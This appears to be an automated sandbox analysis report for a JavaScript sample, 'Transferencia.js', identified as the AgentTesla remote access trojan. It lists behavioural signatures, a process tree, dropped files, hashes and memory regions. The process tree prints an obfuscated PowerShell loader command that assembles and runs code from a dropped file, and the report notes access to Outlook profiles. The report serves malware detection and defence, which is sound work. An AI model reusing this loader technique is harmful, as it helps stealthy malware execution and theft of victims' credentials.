Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 06:24

General

  • Target
    Transferencia.js
  • Size 320KB
  • Sample260604-g6ctlsbz2n
  • SHA256 26fd510380761c27dc63df62d87b85f6cd5809f23be76f55f1e9288ee66686c9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • Family: AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Transferencia.js
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Spndetampe.lnk"
      2⤵
        PID:4120
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c START "Modenhe" /min powershell.exe -Command "$Pizzabars=($HOME+'/app'+'data/local/Unfa');$Infr27=gc $Pizzabars;$parall=$Infr27[4260]+$Infr27[4261]+$Infr27[4262]; . ($parall) $Infr27" && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -Command "$Pizzabars=($HOME+'/app'+'data/local/Unfa');$Infr27=gc $Pizzabars;$parall=$Infr27[4260]+$Infr27[4261]+$Infr27[4262]; . ($parall) $Infr27"
          3⤵
          • Badlisted process makes network request
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4708
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Pizzabars=($HOME+'/app'+'data/local/Unfa');$Infr27=gc $Pizzabars;$parall=$Infr27[4260]+$Infr27[4261]+$Infr27[4262]; . ($parall) $Infr27"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\SysWOW64\backgroundTaskHost.exe
        "C:\Windows\SysWOW64\backgroundTaskHost.exe"
        2⤵
          PID:4660
        • C:\Windows\SysWOW64\backgroundTaskHost.exe
          "C:\Windows\SysWOW64\backgroundTaskHost.exe"
          2⤵
          • Accesses Microsoft Outlook profiles
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          PID:1496
          • C:\Windows\SysWOW64\backgroundTaskHost.exe
            "C:\Windows\SysWOW64\backgroundTaskHost.exe"
            3⤵
              PID:2360

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 0922a7d0b56e0c901a13d1617f99d752aa2abf5201089749005ecf7b413b4a91
              • MD5 SHA1 SHA512 TLSH

              Spndetampe.lnk

              • Path C:\Users\Admin\AppData\Local\Temp\Spndetampe.lnk
              • Size 1KB
              • SHA256 330c151aa638943e958042e320ae2046c564168839375d7ad8028b4bd9110d55
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_crlpmhdp.xs5.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_crlpmhdp.xs5.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              Preexp.Bon

              • Path C:\Users\Admin\AppData\Roaming\Preexp.Bon
              • Size 220KB
              • SHA256 c850e0bdb7470a1e7ae2ab5ad1d2b421f9911c76f9ae313fb5f365d79ca40d3e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Unfa

              • Path C:\Users\Admin\appdata\local\Unfa
              • Size 4KB
              • SHA256 09b35ac00b6de8c5dc09b7b5d22164ccf7b7c976264f4bf2928f1cfdfaa08f56
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1496-61-0x00000000203B0000-0x00000000203BA000-memory.dmp

              memory/1496-60-0x0000000020430000-0x00000000204C2000-memory.dmp

              memory/1496-59-0x0000000020340000-0x0000000020390000-memory.dmp

              memory/1496-58-0x0000000000C00000-0x0000000000C40000-memory.dmp

              memory/1496-57-0x0000000000C00000-0x0000000001F17000-memory.dmp

              memory/1496-46-0x0000000000C00000-0x0000000001F17000-memory.dmp

              memory/4136-23-0x0000000005BC0000-0x0000000005BE2000-memory.dmp

              memory/4136-34-0x0000000006950000-0x000000000696E000-memory.dmp

              memory/4136-38-0x0000000006EF0000-0x0000000006F12000-memory.dmp

              memory/4136-37-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

              memory/4136-36-0x0000000007920000-0x00000000079B6000-memory.dmp

              memory/4136-39-0x0000000007FC0000-0x0000000008566000-memory.dmp

              memory/4136-40-0x0000000008BF0000-0x000000000926A000-memory.dmp

              memory/4136-35-0x0000000006990000-0x00000000069DC000-memory.dmp

              memory/4136-42-0x0000000009270000-0x000000000E4EA000-memory.dmp

              memory/4136-32-0x0000000006430000-0x0000000006787000-memory.dmp

              memory/4136-25-0x0000000006300000-0x0000000006366000-memory.dmp

              memory/4136-24-0x0000000006290000-0x00000000062F6000-memory.dmp

              memory/4136-22-0x0000000005BF0000-0x000000000621A000-memory.dmp

              memory/4136-21-0x00000000054C0000-0x00000000054F6000-memory.dmp

              memory/4708-15-0x0000022253870000-0x0000022253892000-memory.dmp